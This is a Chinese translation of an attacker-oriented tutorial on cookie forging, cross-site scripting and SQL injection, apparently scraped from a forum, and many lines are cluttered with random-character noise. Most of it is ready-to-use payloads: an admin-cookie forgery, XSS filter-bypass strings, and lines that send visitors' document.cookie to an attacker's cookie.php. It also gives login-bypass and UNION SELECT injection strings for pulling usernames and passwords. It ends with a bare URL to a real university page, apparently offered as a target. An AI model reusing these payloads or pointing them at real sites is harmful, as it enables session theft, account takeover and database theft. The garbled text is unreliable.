XSS & SQL注入

admin

XSS & SQL注入
2 S$ r3 w8 g0 r0 r5 k文章作者：CyberPhreak
) Y! R) Z- J. w) n4 S0 U译文作者：黯魂 [S.S.T]

  F* ]$ j) z4 J; T
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
7 k% Q$ Z3 [* `
# H* }1 U) F/ L  v6 Y  \
7 `; j6 Q6 i) L, ?~介绍

! Q3 f  U  B7 I% i# A在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
' ^1 X$ K& ]* |/ D  NX Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
+ E9 Z" U) o6 e1 x) n- X3 T
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
' ^9 l; l7 X2 `3 O3 t6 sX SQL Injection X
XXXXXXXXXXXXXXXXXXXX

) d" n' j, h* @2 Q8 i7 a~什么是cookie

2 ]2 c/ M- ?9 q; L2 b# l) gcookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
3 I3 U8 `: T5 T2 s
! G( ^! c0 p  e1 C6 D1 p  o~警告&欺骗
: u5 i2 ?/ t. m7 ^4 B0 C
那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

4 t$ ]; A8 Y% v$ N9 zstrusername=cnsst;strpassword=cnsst

7 G( }) M0 e% |1 K' Q! s此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
0 v- V) z3 b6 `+ M/ G% z' z现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS

  _8 f+ w, o4 V# u2 m& k( O2 a% g) jXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
) f# s+ ^# i  s4 ^: X) `
5 P7 v8 M& c  i3 w+ N5 x2 y~为什么使用XSS
& ^2 U" @: l3 h+ i/ ^$ S
+ X2 c7 X6 ^6 ]  t很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
5 ?- ?# S2 e/ ]
~让我们开始吧…
3 U/ C4 M; s( L' V: @& c
我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
7 O% A( P2 z/ B
0 h& B9 t: d3 v8 J6 p# g+ ?- KXSS--跨站脚本&lt;html&gt;
" i2 T2 n$ z4 U% U
- N5 S/ y& {2 G7 M, K1 a&lt;body&gt;

: `3 Z% T( @4 W&lt;form action="" method="GET"&gt;

&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

3 d. e/ E# ]6 b) ]1 B2 e! TScript: &lt;input name="name" type="name"&gt;
" a, Z1 P+ ^) X0 F* ^
&lt;input type="submit" value="submit"&gt;

&lt;/form&gt;
/ S. o6 b8 R) g0 ^& l; p
&lt;/body&gt;
6 @5 L" N; h0 }
: ~  D, w: @5 _5 C% p' z&lt;/html&gt;



&lt;?php

$name = $_GET['name'];

echo("Hello $name");

?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

( I, k$ g; h1 W6 ~9 I* Vcnsst
"Hello cnsst!"
  n+ V5 a: B4 R4 Q* V
引号内的信息就是输出信息..注意看,现在我输入:
# g9 Y" C) r+ ~+ y- G# C<script>alert(document.cookie)</script>

" ~% G; a+ F5 C那么它将会弹出document.cookie!所以它是易受XSS攻击的!
+ B! S# K8 ~7 M2 A
! S5 |1 |8 |( r1 D现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
2 A) ~/ g) H. @1 G, U+ b5 u
. x* L0 ?- `7 U. R服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
' `5 p1 d, u6 K/ z
/ B3 \4 i5 W( v0 @已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
. }/ z- A5 r* E1 L) V
让我们看一个稍微复杂点的例子!

" `2 s( A) }1 A( w% r$ a5 h假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
) H. p3 G% P/ a* O5 f1 x' P2 jscriptalert(document.cookie)/script
% }  w8 b9 U" v  U% o" |5 x或者可能是这样的:
scriptalertdocument.cookie/script

# X# X9 q9 |2 \# X可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
) z, G3 x" x8 L1 d
让我们继续利用:
* I7 S+ O2 C$ t) E1 U<<script>>alert(document.cookie)<</script>>

+ n1 ^! W7 D+ v1 n" e: z; u5 H你的输出将弹出document.cookie.

现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>

! _6 p: j% K9 p: l6 K  \0 `% Q
他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
0 l7 L1 W7 f7 |. o" G4 |, o- h或者 <<<script>>>alert(document.cookie)<<</script>>>  
: \% v0 [' L0 u3 B
* b6 L9 W' G: w& |8 i他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
, D, S; p/ C; G; B  m8 G<script>alert(document.cookie)</script>
1 a( b- `/ q2 {3 E8 h. v
: X# E$ o  d/ d: y2 G3 b: ?) e输出像这样:srplert(document.cookie)srp
9 J5 K: R1 h  x. ]& h# ~! J6 [3 P0 e
仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
' k" V9 b+ z* Z
* e* X. ]# h2 M# g5 ~' |所有重复多余的部分刚好被替换!现在让我们来点更高级的!
( K- q- S$ k! ^" K$ _) K! M% a
这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
2 b/ \: k1 A( L7 G0 k7 p( \<script>alert(document.cookie)</script>
4 V. |3 ^' R; f, G2 i$ E9 }- y
输出将是:
scriptalert(document.cookie)script
0 `' @, W3 f$ \% c3 t/ o! y
看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
" ^* L  }; g6 @3 Q# M<<script>>alert(document.cookie)<</script>>

6 `2 R, y# _* w5 `, m$ Z0 e输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

) A+ m" `9 b+ o) S( u<
script
>
  V8 t, W8 N8 E; k8 F5 a* k/ galert
( `4 B$ u! i9 J(
( g, ~* r9 i* g3 [8 bdocument
.
cookie
)
<
, q/ p$ I, v5 P+ U2 z5 l0 \/
script
>
3 Y; _' x& `4 T) u: d
7 N/ r- K6 W) W5 k' S* }8 C
4 l2 S! w/ E# _, v7 w8 }4 _看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
/ M# g/ p0 Q0 Cc
r
i
p
t
& v- D9 L' w( a0 u: d: Y5 K( F% ]6 ^>
a
% x4 l5 Z6 e6 `* c2 U; d) Hl
& D/ ^  M5 e" `: V) Ee
r
+ z! a2 U8 T+ l  y" W4 ]# ]) E( Lt
8 L# {+ Z- ?# O! b% [5 ^(
d
) y: w* P. R- go
5 Y4 j5 i$ i+ H$ g+ ?( ?, `4 Xc
u
m
- b( P. j; a- p! Y( N4 Be
n
, F* s6 i7 v( g* a$ e/ b' [/ Z7 tt
.
& d8 [4 b) I" [. ^c
0 _7 S. b8 [% ~o
o
' {0 L" i  ~2 uk
i
& o: {: L/ V) D2 H/ R6 Ee
)
$ K3 v5 i& C' ?& b8 L<
! L0 r- f# t9 o$ }( a/
6 M+ K/ G6 x9 d! As
c
r
5 a, ^+ p, y2 l7 ~, ei
. O  y9 B: N) W9 K! wp
: ~  u0 s8 Q8 p0 x# B: v$ q! nt
/
; T4 p. l: [$ G* |1 {>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
- t  \" A: D( l
) S/ j4 b9 j1 U/ v- L% x还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

# ?, q, l1 P8 a/ S我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
# |  Y# I/ R/ @
再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
6 Y: Y- L. Z7 B0 H" c
: ?, |% I' E" a. a% U' u有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
6 G; |5 V2 p9 ntelnet example.com
0 Z# I9 y6 X# g1 eGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
0 T) V; K/ t4 p) NUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
! W; R7 m" H4 R0 f5 Z  b0 @Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
3 Q3 g6 |& W' {8 j/ M$ H; N~什么是SQL注入

SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

$ `: V  M. @$ C! a! h! l6 Q% Y&lt;body&gt;

&lt;form action="" method="POST"&gt;
" M( ~/ J4 K: }
Username: &lt;input name="name" type="name"&gt;
& I! Y+ ?) C' T  b% e2 m+ Y$ T
Password: &lt;input name="password" type="password"&gt;
# J+ A8 ]" F& h  C5 `( h7 |5 ]; B3 s
2 j' f. _8 W$ P5 }# q&lt;input type="submit" type="submit" value="Submit"&gt;

4 R0 ~& e6 p; c( d&lt;/form&gt;

3 F* `# Z! E" I( s5 E" j&lt;/body&gt;

) o/ U& a& _# C! p' p" M+ U. D6 d$ }&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

0 ?8 j) \. `1 {# c& w* h最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
" _* k; G5 \/ k$ \- c6 s. l% r
'='
'OR 1=1--
' _; C* `& Z$ p+ ~( n: w2 [" |. j; I'OR a=a--
'OR'
4 m+ D4 g* M) ^; L) H. M
# m" k, ?2 ^- r' A自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

) C/ T9 V. ~# t2 J7 i4 _'OR''='
'OR"="
'OR'="
$ [% L3 t2 f$ n" {! X4 w4 `  x'OR '="
* [# \* M9 y, \9 N5 D- J! _" ^- ]'OR "='
/ \7 c' }5 ]% H'OR ''='
; M6 s: {; H+ {+ A+ S'OR '=''
'OR "=''
'OR ''="
) y3 e- {. g$ E

, k( q" b4 `  K% a/ Z! Q- ?~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
* b" F/ h2 t0 m, M1 ^UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
/ H  s" K8 F1 b& |5 y- ~# A6 FUNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
5 N& q5 u* B) U) }
  w6 F" s. p' Y一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
  c! l" B, ?% x0 ?WHERE ip='OR''="

" F  C* l% }4 J* i" E; U现在你看到这个了吗?(我确信你已经看到了)
5 Z/ V$ U* c8 a( R% Rhttp://example.com/index.php?article=34
6 O3 n: I1 {, n" Y那将浏览Id为34的文章...让我们用"'"替换34:
$ ]- F" n( I; Z( ^1 Rhttp://example.com/index.php?article='
/ ^% T8 P/ v7 w! Z: [! H. i: A9 ~* w

% O1 c# ]1 T5 [3 L现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
3 a5 Z' D% Q+ {9 l" y; a2 xhttp://example.com/index.php?article='
http://example.com/index.php?article='='
+ `1 V3 W2 L2 khttp://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
  t. y0 w; h: Y6 s1 x6 b2 Shttp://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
# q+ J0 o0 {$ J) Q. Khttp://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
& V! s1 A" R- K% G, J% Rhttp://example.com/index.php?article='OR"''='
" R3 C% ]% Z% C3 Q: Z9 w) {
' w' P% ]: |* B: i, T尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704